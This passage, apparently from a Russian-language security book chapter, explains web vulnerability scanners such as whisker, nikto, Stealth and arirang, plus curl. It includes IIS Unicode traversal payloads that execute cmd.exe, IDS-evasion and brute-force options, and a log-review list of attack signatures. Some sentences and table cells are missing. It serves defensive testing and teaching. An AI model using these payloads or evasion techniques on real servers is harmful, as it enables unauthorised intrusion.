$D{'XXServerInject'}="exit";}
Приравняйте переменную $D{'XXServerInject'} к чему-либо кроме exit. Это заставит whisker проигнорировать тот факт, что он не имеет должных полномочий для тестируемого сайта.
if($D{'XXAuth'} ne ""){
wprint("- Server demands authorization.");
wprint("- We don't have a login, so skipping host...\n");
$D{'XXServerInject'}="foo";}
Сервер может вернуть 401 ошибку или одну из трехсотых (30х) для перенаправления каждого запроса на страницу авторизации, но это будет не так в тех немногих случаях, когда список контроля доступа использован неправильно. В других случаях, вы всегда можете использовать grep для удаления сообщений об ошибках.
Исходная версия whisker (1.4) не поддерживает протокол SSL (Secure Sockets Layer). В этом нет ничего страшного, поскольку вы можете установить OpenSSL прокси-сервер (см. раздел " OpenSSL " далее в этой лекции). Но прокси не слишком подходящий вариант, если сканируется
более чем один IP-адрес одновременно. Поэтому H. D. Moore модифицировал программу для поддержки Perl SSL-функций.
perl Makefile.PL, make, make test и make install для любого модуля. Модуль Net::SSLeay требует работающего пакета OpenSSL. В Unix и Cygwin это делается просто.Для запуска whisker с поддержкой SSL необходимо использовать параметр -x. По умолчанию будет установлен порт 443, но он может быть изменен с помощью параметра -p.
$ whisker.pl -x -h 192.168.42.27 -w -W | tee whisker443_192.168.42.27.html.raw
Или для получения реальных преимуществ от использования параметра -x можно запустить программу со списком хостов.
$ whisker.pl -x -H hosts_ssl.txt -w -W | tee whisker443_hosts_ssl.html.raw
Если вы просмотрели все исходные коды whisker, то вы знаете, что он всегда выполняется как CGI-модуль Web-сервера. Настройте Web-сервер, переименуйте в whisker.cgi и поместите программу в директорию /cgi-bin/ сервера. По умолчанию этот модуль ограничивает функциональность программы сканированием только одного хоста, заданием одного порта и принудительного задания типа удаленного сервера. Но если вы разбираетесь в исходном коде, вы сможете привести CGI-версию в нормальное состояние.
Работа с ненадежными Web-сайтами. Whisker - не самое лучшее средство, поскольку он сканирует конкретные порты в соответствии с конкретным списком уязвимых Whisker предлагает набор параметров командной строки, которые в состоянии ввести в заблуждение простые средства обеспечения безопасности.
Наиболее простое средство обеспечения безопасности, и наиболее часто употребляемое начинающими разработчиками скриптов - переименование идентификационной строки Web-сервера. Как администратор, вы никогда не должны полагаться на непонятный прием обеспечения безопасности на вашем IIS 5.0, который представляется как Apache 1.3.22. Однако некоторые утилиты - whisker входит в их число - не могут запустить специальные тесты для IIS, если он определяется как Apache.
Whisker предоставляет возможность принудительно установить тип удаленного сервера с использованием параметра -S (заглавная).
$ whisker.pl -h 192.168.42.27 -w -W -S "IIS/5.0"
Этот параметр принудительно заставляет программу выполнять специфические для IIS тесты в соответствии со своей базой данных, несмотря на информацию, передаваемую в HTTP-заголовках.
Мы надеемся, вы разбираетесь в Perl, поскольку редактирование скрипта может сделать свойства параметра -S еще лучше. После этих двух строк
$D{'XXUserAgent'} = "Mozilla/5.0 [en] (Win95; U)";
$D{'XXForce'}=1 if defined($args{f});
добавьте новую строку, чтобы быть уверенным, что whisker считывает тип сервера, заданный в командной строке. Переменная XXForceS используется в логике сканирования, когда определяется, какие файлы использовать для тестирования.
$D{'XXForceS'}=1 if defined($args{S});
Другое препятствие для любого сканера уязвимостей состоит в работе с сайтами, которые требуют аутентификации. Базовая HTTP-аутентификация очень проста в реализации. Имя пользователя и пароль кодируются в коде , не шифруясь каким-либо надежным алгоритмом. Вдобавок к этому, аутентификационные полномочия передаются в заголовочной информации, передаваемой клиентом (это может быть Web-броузер или аппарат сканирования уязвимостей). Для всех сайтов, которые требуют базовой аутентификации, используйте параметр -a для задания правильных полномочий. Имя пользователя и пароль разделяются двоеточием.
$ whisker.pl -h 192.168.42.27 -w -W -a "grauf:penguin"
Whisker может обеспечить лобовую атаку с целью подбора правильного имени пользователя и пароля. К сожалению, это не самый лучший довод в пользу приобретения рекламируемого товара. Он не может поддерживать аутентификацию, основанную на формах. Сайт может сбить с толку алгоритм подбора пароля, если вернет в ответ нечто, отличающееся от HTTP 401-кода, в случае, если комбинация имя пользователя/пароль неправильная.
Если вы желаете проверить вашу IDS-систему на надежность контроля Web-уязвимостей, то набор параметров -I для вас. Каждый из параметров генерирует URL-запрос, который изменяется разными способами с целью ввести в заблуждение IDS-сигнатуры. Для тестирования IDS выполните каждую из 10 проверок (от 0 до 9) по отношению к серверу из вашей сети.
$ whisker.pl -h 192.168.42.27 -w -W -I3
Наилучшая защита от пассивного мониторинга - это шифрование. Для IDS весьма сложно отслеживать трафик поверх SSL. С другой стороны, легко запустить whisker поверх SSL и исследовать любые уязвимости.
Пример из жизни. Самообновление Scan.ab
Whisker -архив поставляется с четырьмя сканерами баз данных: brute.db, dumb.db, scan.db и server.db.
Каждый сканер баз данных содержит список универсальных директорий, универсальных файлов и уязвимых сценариев CGI, которые whisker обычно сканирует. Эти базы данных несколько устарели и поэтому не покрывают более новые способы взломов. В них также не хватает проверок, настроенных на ваши собственные Web-серверы.
Простейшая запись описывает корневую директорию или директории и специфические имена файлов для проверки. Например, правило в scan.db, которое проверяет на /, занимает одну строку:
scan () / >> robots.txt
Эта строка фактически заблокирована (или превращена в комментарий) по умолчанию. Чтобы ее активизировать, удалите символ ( # ) из начала строки, что мы и сделали. Следующая таблица описывает компоненты каждого правила сканирования.
| Правило | Описание |
|---|---|
scan |
Тип правила scan указывает, что эта строка содержит инструкции для специфической проверки. |
([server type]) |
Используйте круглые скобки, чтобы ограничить проверку одним типом Web-сервера. Например, правило с (iis) запускается только, если whisker идентифицирует целевой сервер, как некоторую версию Microsoft IIS. Обратитесь к файлу server.db за полным списком возможных целей. Если оставить это поле пустым, то это будет применимо ко всем Web-серверам. |
/ |
Это базовая директория, в которой следует искать целевой файл. Это может быть разделенный запятыми список, т.е. /, /cgi-bin, /en/cgi-bin. Вы также можете использовать заранее определенные массивы в этом поле, такие как @array или @cgis. Служит разделителем между директорией и файлами для проверки. |
|
Имя файла для проверки. Используйте разделенный запятыми список в этом поле, чтобы задать несколько файлов для конкретной директории: т.е. db.inc, dbase.inc, database.inc. |
Одно из основных преимуществ этих правил состоит в том, что whisker сам себя оптимизирует во время сканирования сервера. Например, если мы хотим проверить присутствие трех обычных файлов JavaScript в определенной директории, то правило должно выглядеть следующим образом.
scan (iis) /library >> global.js, local.js, toolbar.js
Whisker проверяет наличие директории /library до начала сканирования и наличие любых файлов *.js в этой директории. Если такой директории нет (имеется в виду, что запрос /library вернул ошибку 404), то он не будет проверять наличие этих трех файлов. Это мелочь, но чрезвычайно полезная, оптимизирующая скорость.
Определение массивов директорий. Во многих случаях, единственный файл может быть найден в одной из нескольких директорий. Например, обычная директория /cgi-bin может быть переименована несколькими способами. Массив должен быть объявлен до того, как правило сканирования его вызовет. Тогда используйте символ @, чтобы обратиться к массиву.
array cgis = cgi-bin, cgi, cgi-old, bin scan () @cgis shopping.pl clear @cgis
Команда clear удаляет массив из памяти. На самом деле, это не обязательно, но ваш старый профессор по компьютерным наукам одобрил бы такую чистоту.
Массив может, в свою очередь, содержать массив. Вот пример.
array common = include, library, scripts, tools array admin = adm, admin, manage, manager, secure, @common
Массив администратора содержит 5 новых директорий, и каждая из этих директорий в общем массиве. Это помогает классифицировать директории в определенные типы, чтобы сделать сканирование более полным.
Соответствующий пример добавляет проверки на уязвимость прохождения директорий IIS Unicode и Superfluous
array iisdirs = admin, certadm, certcontrol, certenroll, certque,
certsvr, cgi-bin, exchange, help, iisadmin, iisadmpwd, iishelp,
iissamples, images, info, _mem_bin, msadc, pbserver, rpc,
scripts, _vti_bin
Затем определим правила сканирования для проверки (это правило должно быть в одной строке).
scan () @iisdirs
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/
cmd.exe?/c+dir,
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/
ipconfig.exe?/all+dir,
..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir,
..%255c..%255c..%255c..%255c..%255cwinnt/system32/ipconfig.exe?/
all+dir, cmd.exe, root.exe
%c0%af и %255c - это только две из многих возможных строк прохождения директорий, но они работают. Также это правило проверяет на предмет листингов директорий из бинарного cmd.exe. Некоторые администраторы запрещают доступ к этому файлу, чтобы предотвратить такую атаку; однако ipconfig.exe - это тоже законная добыча. Две последние проверки на предмет cmd.exe и root.exe имели целью найти обломки предыдущих атак хакеров или вирусов. Это правило сканирования может быть добавлено к оригинальному scan.db whisker или помещено в свой собственный файл *.db.
Чтобы использовать альтернативный файл *.db, укажите опцию -s в командной строке.
$ whisker.pl -h 192.168.42.27 -w -W -s unicode.db
Обычные директории и файлы. Польза от whisker не ограничивается сканированием известных уязвимостей. Он также великолепно находит "скрытые" URL, резервные файлы и scan.db whisker уже содержит достаточное количество обычных файлов и директорий. Однако вы должны расширить файл *.db за счет структуры директорий, которую вы узнали "в поле". Например, многие Web-сайты написаны так, что допускают языковую настройку. Такие файлы должны специально приписывать /en к части файлов URL, что влияет на способность whisker сканировать обычные сценарии CGI и файлы. Whisker может искать /index.html., но не может найти /en/index.html.. Поэтому правила сканирования должны быть модифицированы, чтобы исправить это.
Здесь вместо поиска файлов *.inc и *.js в обычных директориях, специфицированных массивом, whisker специально приписывает указание на язык и сканирует на /en/inc/database.inc и т.д.
array common = inc, include, lib, library, tool, tools scan (iis) en/@common database.inc, global.inc, local.inc, toolbar.js
Прежде чем развиваться в качестве самостоятельной утилиты, whisker был создан, чтобы пополнить Perl-библиотеку средств сканирования. Nikto основывается на новом поколении LibWhisker-библиотеки. С самого начала программа поддерживает сканирование портов с поддержкой SSL и прокси.
Основанный на Perl, . Для работы также требуется LibWhisker (LW.pm).
LibWhisker. Полнофункциональная копия . Инсталляция очень проста. После разархивирования войдите в директории и соберите библиотеку. Как только сборка закончится, установите LW.pm в вашу Perl-директорию. Выполните следующую последовательность команд.
$ cd libwhisker-1.3 $ perl Makefile.pl lib $ perl Makefile.pl install
LibWhisker может показаться немного избыточным, поскольку он включает в себя функциональность нескольких, уже существующих Perl-модулей, таких как LibWhisker в том, что это "тощая" (минимальный размер файла по сравнению с модулями, функциональность которых он заменяет), простая (один модуль), специализированная (поддерживает только HTTP- и HTTPS-запросы) и живучая (обеспечивает единый интерфейс для поддержки запросов и приема ответов) утилита. Кроме того, она понятнее, чем оригинальная программа whisker!
Сканирование. Основные параметры командной строки nikto отличаются от команд whisker, поэтому вам придется осваивать новые параметры. Сравните командную строку whisker с аналогичной командной строкой nikto.
$ whisker.pl -h 192.168.42.27 -w -W | \ > tee whisker80_192.168.42.27.html.raw $ nikto.pl -host 192.168.42.27 -verbose -web -output \ > nikto80_192.168.42.27.html.raw
Выходная информация Nikto содержит указания на то, почему поиск может угрожать безопасности.
Target IP: 192.168.42.27
Target Hostname: www.victim.com
Target Port: 80
----------------------------------------------------
o Scan is dependent on "Server" string which can be faked, use -g to override
o Server: WebSTAR/4.2 (Unix) mod_ssl/2.8.6 OpenSSL/0.9.6c
o Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS,
PATCH, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, TRACE
o Server allows PUT method, may be able to store files.
o CONNECT method is enabled, server may act as a proxy or relays.
o Server allows DELETE method, may be able to remove files.
o Server allows PROPFIND or PROPPATCH methods, which indicates DAV/WebDAV is
installed. Both allow remote admin and have had security problems.
o WebSTAR/4.2(Unix)mod_ssl/2.8.6OpenSSL/0.9.6c appears to be outdated
(current is at least mod_ssl/2.8.7) (may depend on server version)
o /public/ Redirects to 'http://www.foundstone.com/public', this might be
interesting...
o robots.txt - This file tells web spiders where they can and cannot go (if they follow
RFCs). You may find interesting directories listed here. (GET)
o cgi-bin/htsearch?-c/nonexistant - The ht::/Dig install may let an attacker force
ht::/Dig to read arbitrary config files for itself.
(GET)
885 items checked on remote host
В таблице 8.1 перечислены основные параметры, необходимые для запуска утилиты nikto. Наиболее важные параметры устанавливают тестируемый хост, порт и выходной файл. Nikto воспринимает первый символ имени параметра как синоним. Например, вы можете ввести -s или -ssl, чтобы использовать протокол HTTPS, или вы можете задать -w или -web для получения выходной информации в формате HTML.
Nikto |
Whisker |
Описание |
|---|---|---|
-host |
-h |
Задает один хост. nikto не принимает файлы с именами хостов, так как это делает опция -H в whisker. |
-port |
-p |
Задает произвольный порт. |
- |
-v, -w |
Обеспечивает подробный отчет. Это единственная опция, которую не представляют аббревиатурой (-v зарезервирована для опции виртуального хоста). |
-ssl |
-x |
Активизирует поддержку SSL. nikto не предполагает HTTPS, если вы специфицировали целевой порт 443. |
-generic |
-S |
Указывает nikto игнорировать заголовок сервера и запускать сканирование всей базы данных. В отличие от опции whisker -S, вы не даете строки альтернативного заголовка после опции. |
-web |
-W |
Выводить отчет в HTML. |
-output |
-l |
Заносить протокол в файл. Например, -output nikto80_www.victim.com.html. |
-id |
-a |
Поддержка полномочий базовой идентификации HTTP. Например, -id username:password. |
-vhost |
-V |
Использовать виртуальный хост для целевого Web-сервера вместо IP-адреса. |
-evasion |
-I |
Техника обхода IDS. nikto использует 9 различных техник, чтобы форматировать запрос URL и ускользнуть от обнаружения в IDS. |
Следует помнить несколько основных положений в работе с утилитой nikto: задавайте хост ( -h ), порт ( -p ), SSL ( -s ) и имя выходного файла. Дополнительные параметры подробно описаны в таблице 8.2. По большей части эти параметры охватывают возможности большинства утилит для сканирования.
| Опция | Описание |
|---|---|
-allcgi |
Сканирует все возможные директории CGI. Не обращает внимания на ошибки 404, которые nikto получает для базовой директории. Подробности см. в разделе "Config.txt". |
- |
Видоизмененные проверки описываются в "Config.txt". |
-findports |
Сканирует целевой сервер. Это сканирование использует nmap или внутренние сокеты на базе Perl. |
-nolookup |
Не определяет имена хостов по IP-адресу. |
-timeout N |
Останавливает сканирование, если не получает данных в течение N секунд. По умолчанию - 10. |
-update |
Обновляет модули nikto и выясняет существование новых версий. |
Параметр -update упрощает процедуру сопровождения утилиты nikto. Этот параметр заставляет программу соединиться с хостом www.cirt.net и загрузить дополнительные модули для поддержания листа сканирования в текущем состоянии.
$ ./nikto.pl -update ---------------------------------- - Nikto v1.100BETA_2 - www.cirt.net - + Retrieving 'scan_database.db' www.cirt.net message: Send comments on Nikto to cirt.net so it can be a better product.
Config.txt. Nikto использует настроечный файл config.txt для установки отдельных, наименее часто используемых параметров, или наоборот, наиболее часто используемых в процессе сканирования. Этот файл включает дюжину настроек. Параметр может быть закомментирован с помощью символа #. Ниже приведены настройки по умолчанию:
CGIDIRS=/bin/ /cgi/ /mpcgi/ /cgi-bin/ /cgi-sys/ /cgi-local/ /htbin/ /cgibin/ /cgis/ /scripts/ /cgi-win/ /fcgi-bin/ #CLIOPTS=-g -a #NMAP=/usr/bin/nmap SKIPPORTS=21 111 #PROXYHOST=10.1.1.1 #PROXYPORT=8080 #PROXYUSER=proxyuserid #PROXYPASS=proxypassword DEFAULTHTTPVER=1.1 #PLUGINDIR=/usr/local/nikto/plugins MUTATEDIRS=/....../ /members/ /porn/ /restricted/ /xxx/ MUTATEFILES=xxx.htm xxx.html porn.htm porn.html
Строка CGIDIRS содержит список директорий, разделенный пробелом. Nikto пытается определить наличие каждой из директорий перед началом ее просмотра. Соответственно, параметр -allcgi отменяет такой порядок работы.
Строка CLIOPTS содержит параметры командной строки, которые будут использоваться при каждом запуске nikto. Этот прием обычно используется для сокращения командной строки. В файл включаются параметры -generic, - и -web.
Строки NMAP и SKIPPORTS управляют политикой сканирования портов ( -findports ). Если не поддерживается выполнение исходного модуля nmap (что обычно для Windows-систем), nikto использует для сканирования портов Perl-функции. Строка SKIPPORTS содержит список портов, которые никогда не сканируются.
Используйте строку PROXY* для включения поддержки прокси.
Также довольно редко возникает необходимость изменять строку DEFAULTHTTPVER. Вы можете поискать серверы, использующие только версию 1.0.
Строка PLUGINDIR определяет директорию для размещения определяемых пользователем модулей (аналоги файлов scan.db в whisker ). По умолчанию nikto осуществляет поиск в директории /plugins, размещаемой в директории, откуда программа запускается.
Строки существенно увеличивают время, которое требуется для сканирования сервера с параметром . Инструкция MUTATEDIRS устанавливает, что проверка каждой директории должна начинаться от корня или от перечисленных ниже директорий. Этот прием обычно используется для Web-сайтов, которые используют интернационализацию, вследствие чего директория /scripts заменяется на директорию /1033/scripts. Инструкция MUTATEFILES определяет необходимость сканировать каждый файл в приведенном списке директорий.
Пример из жизни. Обнаружение попыток вторжения
Как администратор, вы, должно быть, сканируете свои Web-серверы на уязвимость. Это часть вашей рутинной работы. Всегда лучше обнаружить собственные уязвимости до того, как это сделает кто-либо другой. С другой стороны, откуда вы можете знать, что кто-то использует эти средства против вас? Конечно, может помочь IDS, но у IDS есть несколько недостатков: они не могут справиться с высоким диапазоном частот, полагаются на свойство сопоставления с образцом, не могут (в большинстве) видеть закодированные потоки SSL. Кроме того, они дороги. Ответ в данном случае - обратитесь к своим файлам протоколов (logfiles). Вы же включили
Общие автографы. Файлы протоколов (Logfiles) - это средство безопасности. Они реакционны, а это означает, что если вы увидите автограф взлома в своем файле, то знаете, что вы уже атакованы. Если атака подвергла сервер риску, протоколы Web будут первым местом, куда следует обратиться, чтобы воссоздать события. Протоколы также помогают администраторам и программистам проследить ошибки и поврежденные страницы на Web-сайте - это необходимо для поддержания стабильности Web-сервера. Помня об этом, вы должны практиковать регистрацию на Web-сервере и сбор файлов протоколов (logfiles), просматривать их и архивировать.
В следующей таблице перечисляются некоторые позиции, на которые следует обращать внимание при проведении обзора протоколов. Многие из этих проверок могут быть автоматизированы при помощи такого простого средства, как grep.
Excessive 404s |
Избыток ошибок 404. Ошибка 404 в вашем файле протокола обычно означает одно из трех: опечатка или ошибка на странице сайта, пользователь неправильно набрал URI, или зловредный пользователь ищет "старушек". Если вы видите несколько запросов от IP-адреса, что привело к последовательности ошибок 404, проверьте свои остальные протоколы на этот IP-адрес. Вы можете обнаружить успешный запрос (ответ 200) где-то еще, что свидетельствует о вражеской активности. |
Unused |
Неиспользованные расширения файлов. Это подмножество избытка ошибок 404, но является хорошим индикатором автоматизированного средства. Если ваш сайт использует только файлы *. |
Excessive 500s |
Избыток ошибок 500. Любая ошибка сервера должна проверяться. Это может означать, что в приложении есть ошибки, или зловредный пользователь пытается запустить ошибочные данные на сервер. |
|
Чувствительные имена файлов. Поиск в протоколах запросов, которые содержат passwd, cmd.exe, boot.ini, ipconfig или другие имена системных файлов и команд. IDS часто отключают эти значения. |
|
Проверочные параметры. Атаки на Web-сервер часто прячутся внутри запросов, которые возвращают ответ 200. Убедитесь, что ваш Web-сервер регистрирует параметры, которые прошли на URI. |
Directory |
Прохождение директорий. Поиск атак, которые пытаются разрушить такие директории, как :, .., или %2e%2e. |
|
Длинные последовательности. Ищите длинные последовательности (более 100 знаков), запущенные как параметр. Например, имя пользователя, содержащее 200 символов A, вероятно означает, что кто-то пытается взломать приложение. |
Shell characters |
Признаки работы командного процессора. Ищите символы, которые имеют специальное значение в командных процессорах или SQL. Обычные символы: ' ! | < > * ; |
Помните, что IIS записывает URL в конечном разобранном формате. Например, атака на прохождение директории Unicode появляется как /scripts/..A..A..Acmd .exe?/c+dir, где файл протокола Apache захватывает необработанный запрос /scripts/ ..%c0%af..%c0%af..%c0%afcmd.exe?/c+dir?. При регистрации IIS убедитесь, что опции для записи uri- и uri-query выключены.
Эта программа работает под Windows с графическим интерфейсом пользователя, и поэтому не обладает, в отличие от whisker возможностями кросс-платформенного использования. располагает большим количеством тестов и имеет легко расширяемую базу данных. В настоящее время в базе данных программы находится около 13000 тестов, правда, только 5000 из них являются уникальными. Эти тесты были получены в результате сканирования большого количества устройств, имеющих встроенные Web-серверы, обладающих наиболее распространенными типами уязвимостей, свойственных IIS.
На рис 8.1 приведен вид интерфейса для сканирования одного IP-адреса. По умолчанию использует "нормальное" правило сканирования, которое содержит около 6500 тестов. Эта страница открывается с помощью кнопки .
Stealth также располагает параметрами для изменения номера порта (по умолчанию 80), при этом SSL-соединение не поддерживается. Задать номер порта 443 недостаточно., для этого должен быть задан список последовательных IP-адресов. Это существенно замедляет сканирование, поскольку программа сначала должна определить Web-сервер, а затем осуществлять его сканирование. Если серверы распределены по сети, то это еще сильнее замедляет процесс.

(рис 8.2) Сканер Stealth по умолчанию против цели(рис 8.1) Stealth сканирует список IP-адресовЕще немного о сканировании нескольких Web-серверов: программа постоянно фиксирует ошибки, выдает сообщения об ошибках, требующих, чтобы их закрывали вручную. Короче, - не лучшее средство для сканирования многих серверов одновременно.
Кнопка IDS Test работает аналогично технике обхода IDS у показано, как включить обход IDS.
Как только завершит сканирование, он выдаст запрос на сохранение результатов. Результаты сканирования представляют собой HTML-файл, в котором перечислены все возможные уязвимости, которые были найдены. - быстрое и простое средство, которое позволяет выполнить 6500 тестов для Web-сервера одновременно.
(рис 8.3) Обход IDS
Конструирование правил для весьма просто. Вы задаете URL, метод запроса и ожидаемый HTTP-
#INF Backup index.html file #GET /index.html.bak #200
Вместо метода #GET также может быть #HEAD или #POST. #200 может быть заменен любым не поддерживает пользовательские массивы, поэтому файлы внутри набора директорий должны быть перечислены отдельно. Параметры #GET и #200 подразумеваются по умолчанию и потому могут быть опущены. Как видно, базовый тест для URL не так развит как у whisker. У есть средство для упрощения разработки тестов на уязвимость -
показаны настройки для нашего простого теста для файла index.html.
(рис 8.4) Настройка теста уязвимостиНа закладке Options вы можете задать строку, которая будет показывать возврат ложного ответа или определять User-Agent. Некоторые Web-приложения используют заголовок User-Agent, чтобы принять решение о том, может ли броузер получить доступ к сайту. Некоторые броузеры не поддерживают JavaScript, ActiveX или Java, и это может послужить отказом в доступе к сайту. На рис 8.5 показан этот параметр.
(рис 8.5) Параметры для теста уязвимостиДругой классный прием, используемый в - это тест на переполнение буфера. Атака на переполнение буфера может быть применена против любого адреса, по которому Web-приложение требует списка параметров. Правило для проверки на переполнение буфера содержит четыре составляющих.
Ниже приведено правило для проверки условий переполнения буфера в строке авторизации ввода Web-приложения.
#INF Login.asp buffer overflow check "bofgen=/login.asp?user=%bofstrpasswd=none","bytes=999","chars=A"
В HTTP-запросе, который посылает , строка %bofstr меняется на 999 символов A.
Как только описание метода взлома создано, вам остается указать показан пример теста, называемого Sourcedis, который обычно не используется.
(рис 8.6) Добавление новых тестов
Как уже упоминалось, возможности по автоматическому сканированию набора Web-серверов ограничены. время от времени генерирует ошибки DNS, которые обычно случаются в процессе сканирования сервера с виртуальными хостами или когда сканируется сервер с несколькими IP-адресами (как в случае со многими большими, сильно загруженными сайтами). Ошибка DNS безобидна, но ее появление требует, чтобы вы закрыли окно сообщения, которое генерирует .
Большая часть тестов опирается на возвращаемые сервером HTTP-коды. Это хорошо, когда вы тестируете имеющиеся скрипты на наличие прорех, но это вовсе не означает, что скрипт уязвим. Большинство прорех viewcode.asp в IIS-файлах зафиксировано последующими только определяет их наличие и ошибочно принимает положительное решение. Даже если и может распознать специфические строки в результатах работы теста, немногие тесты могут это сделать. Использование HTTP-кодов возврата не означает, что может пропустить прореху, но это означает, что он может породить большое количество ошибочных положительных решений о наличии таких прорех.
Опирающаяся на оконный интерфейс утилита не слишком хорошо взаимодействует с другими. Сложно создать скрипт, который генерирует список Web-серверов или систем с открытым 80 портом, передать этот список на вход и затем разобрать выходной файл. Средства, выполняемые из командной строки, с другой стороны, могут быть встроены в конструкции программных циклов, и программными конвейерами передавать данные средствам разбора результатов, которые вы предпочитаете. Помните, как просто вы манипулировали выводом от whisker с помощью утилит tee и grep?
не поддерживает SSL-соединение. Это просто преодолеть. В разделе "Многоцелевые средства" мы увидим, как SSL-прокси легко решает эту проблему.
Twwwscan и arirang - близнецы. Twwwscan - Windows-сканер, с полностью графическим интерфейсом. Arirang построен на основе прототипа из Berkeley Software Distribution (BSD) и использует такое же, как twwwscan, рабочее ядро, тот же формат базы данных.
В отличие от .
Процесс инсталляции похож на многие другие программы из коллекции портов. Прежде всего, убедитесь, что ваша коллекция портов актуальна (внесены последние изменения), а затем соберите исполняемые коды arirang.
$ cd /usr/ports/security/arirang $ cvs up -Pad $ make $ make install
Наберите arirang в командной строке, и справка по использованию программы сможет поприветствовать вас.
Запуск Arirang. Запуск Arirang следует принципу простоты. Программа разработана как быстрый, качественно работающий сканер уязвимостей. Поддержка прокси, SSL и средств обхода IDL были принесены в жертву скорости и аккуратности работы. Запустив arirang с набором правил сканирования по умолчанию, можно увидеть вывод, похожий на информацию, выдаваемую whisker.
$ arirang -G -h www.victim.com
Параметр -G указывает на необходимость использования информации из заголовка тестируемого Web-сервера для определения типа сервера и используемой операционной системы. Вместо этого вы можете задать параметр -o, чтобы запросить netcraft-тип сервера и его версию. По умолчанию arirang, сканирует 80 порт, но воспользовавшись параметром -p, вы можете сканировать другой порт. Помните, по аналогии со , если вы используете 443 порт, arirang может это делать, но не поддерживает SSL-соединение.
finger -тестирования с использованием сканеров типа nmap.Вы также можете запустить arirang со списком Web-серверов, используя параметр f.
$ arirang -G -f hosts.txt
Arirang также предоставляет возможность сканировать интервал IP-адресов с помощью параметра -s (start) и -e (end).
$ arirang -G -s 192.168.17.2 -e 192.168.17.245
Параметр -P (верхний регистр) позволяет ускорить работу программы, особенно в случае использования параметра -f или сканирования интервала IP-адресов. Параметр -P управляет количеством одновременно выполняемых процессов. Сканирование уязвимостей не слишком интенсивный с точки зрения загрузки процессора процесс, но он опирается на установление сетевых соединений. Запуск нескольких процессов ведет к уменьшению общего времени сканирования.
$ arirang -G -f hosts.txt -P 20
Описываемый сканер уязвимостей - один из тех, которые можно легко и быстро обновлять вручную. Arirang содержит около 18 баз сканирования, хранимых в файлах с расширением *.uxe. По умолчанию положение этих баз данных определяется в момент компиляции программы. В *.uxe файлы размещаются в директории /usr/local/share/arirang.
Отдельные правила определяются параметром -r. Ниже показано, как проверить вашу сеть на наличие червя Code Red или его потенциальных целей.
$ arirang -G -s 192.168.0.1 -e 192.168.3.255 \ > -P 20 -r /usr/local/share/arirang/codered.uxe
На первый взгляд, правила arirang могут показаться сложными для понимания, но все они следуют простой схеме. Рассмотрим несколько правил для примера.
200 OK- HEAD :/index.html.bak^Backup index.html file;
Remove backup and test files
from the web document root;
403- GET :/admin/^/admin/ directory;;
200 OK- HEAD :/include/^/include/ directory;Disable directory listings;
200 OK- GET :/msadc/..%255c..%255c..%255c../winnt/system32/cmd.exe?
/c+dir^IIS Superfluous Decode;MS01-026;
Правила разделяются на семь полей, при этом первое поле не обязательно. В таблице 8.3 описываются составные части правила для arirang.
| Поле | Описание |
|---|---|
Receive code Код получения [OOB | |
(Необязательный.) Arirang может обработать сообщение Out-Of- или (залезть) в его содержимое. Это редко используется, но включено, чтобы средство поддерживало любой тип проверки уязвимости. ALL используется для ожидания ответа с сервера. Несколько проверок вынуждают сервер зависать или не возвращать никаких данных, включая заголовки. |
Response code Код ответа |
Обычно это числовой ответ с Web-сервера. 404 означает - не найдено, а 200 означает ОК, что подтверждает существование файла. Заметьте, что arirang требует от вас представлять 200 как 200 ОК. Другие коды ответов могут быть числовыми, т.е. 403. Это не обязательно должно быть кодом ответа HTTP, но может быть строкой длиной до 50 байтов (символов), чтобы искать в ней ответ HTML. |
--> |
Разделитель между кодом ответа и методом запроса. |
HTTP request method Метод запроса HTTP |
Любой метод запроса HTTP, обозначенный как HTTP/1.0 или HTTP/1.1 RFC. GET, HEAD, и POST используются большую часть времени, но arirang поддерживает такую технику как TRACE и OPTIONS. Метод OPTIONS показывает, какие возможности поддерживает сервер. |
:<URI> |
Файл для проверки. Arirang также поддерживает строку запроса URI, т.е. login.asp? user=test>pass=test. Заставьте правило обратиться к определенному порту с помощью синтаксиса ::<port><URL>. Например, ::8080/ admin/docs/default. запускает на порте 8080. Все другие опции остаются такими же. |
^< |
Короткое описание уязвимости. |
;<information;> |
Дальнейшее объяснение уязвимости, ссылка на совет или информацию по отладке. |
Поясняющие и информационные поля позволяют вам осуществлять вывод в сокращенной или расширенной форме.
Описываемые ниже инструментальные средства - это рабочие лошадки, используемые для осуществления соединений поверх HTTP или HTTPS. Соответственно, они не производят поиск уязвимостей или
В то время как Netcat называют суперутилитой для сети, curl можно назвать суперутилитой для протоколов. Curl - это утилита командной строки, которая может поддерживать DICT, File, FTP,
Для соединения с Web-сайтом задайте в командной строке URL
$ curl https://www.victim.com
Автоматизированный скрипт, который просматривает Web-сайт или осуществляет подбор паролей, в лучшем виде демонстрирует мощь программы curl. В таблице 8.4 представлены некоторые наиболее часто употребляемые параметры программы.
| Опция | Описание |
|---|---|
-H/--header |
Устанавливает заголовок со стороны клиента. Используйте заголовок HTTP, чтобы имитировать несколько типов соединений.User-Agent: Mozilla/4.0. Имитирует конкретный броузер. Referer: http://localhost/admin. Обходит слабую авторизацию, которая проверяет страницу ссылок. Basic Auth: xxxxx. Задает имя пользователя и пароль. Host: localhost. Специфицирует виртуальные хосты |
-b/--cookie -c/--cookie-jar |
-b использует файл, который содержит cookies, чтобы послать их на сервер. Например, -b cookie.txt включает содержимое cookie.txt во все запросы HTTP. Cookies также могут быть специфицированы в командной строке в форме -b ASPSESSIONID=INEIGNJCNDEECMNPCPOEEMNC. -c использует файл, который хранит cookies так, как они заданы сервером. Например, -c cookies.txt держит каждый cookie с сервера. Cookies важны для обхождения сессий формальной идентификации и обмана. |
-d/--data |
Предоставляет данные по запросу POST. Это включает данные формы или любые другие данные, генерированные Web-приложением. Например, чтобы задать поле формы для страницы логина, используйте -d login=arbogothpasswd=p4ssw0rd. Эта опция полезна для написания сценариев подбора пароля. Ее реальное преимущество в том, что запросы делаются с POST, что значительно сложнее обмануть с помощью средства типа Netcat. |
-G/--get |
Изменяет метод POST так, что он использует GET. Применяется только, когда вы специфицируете опцию -d. |
-u/--user -U/--proxy-user |
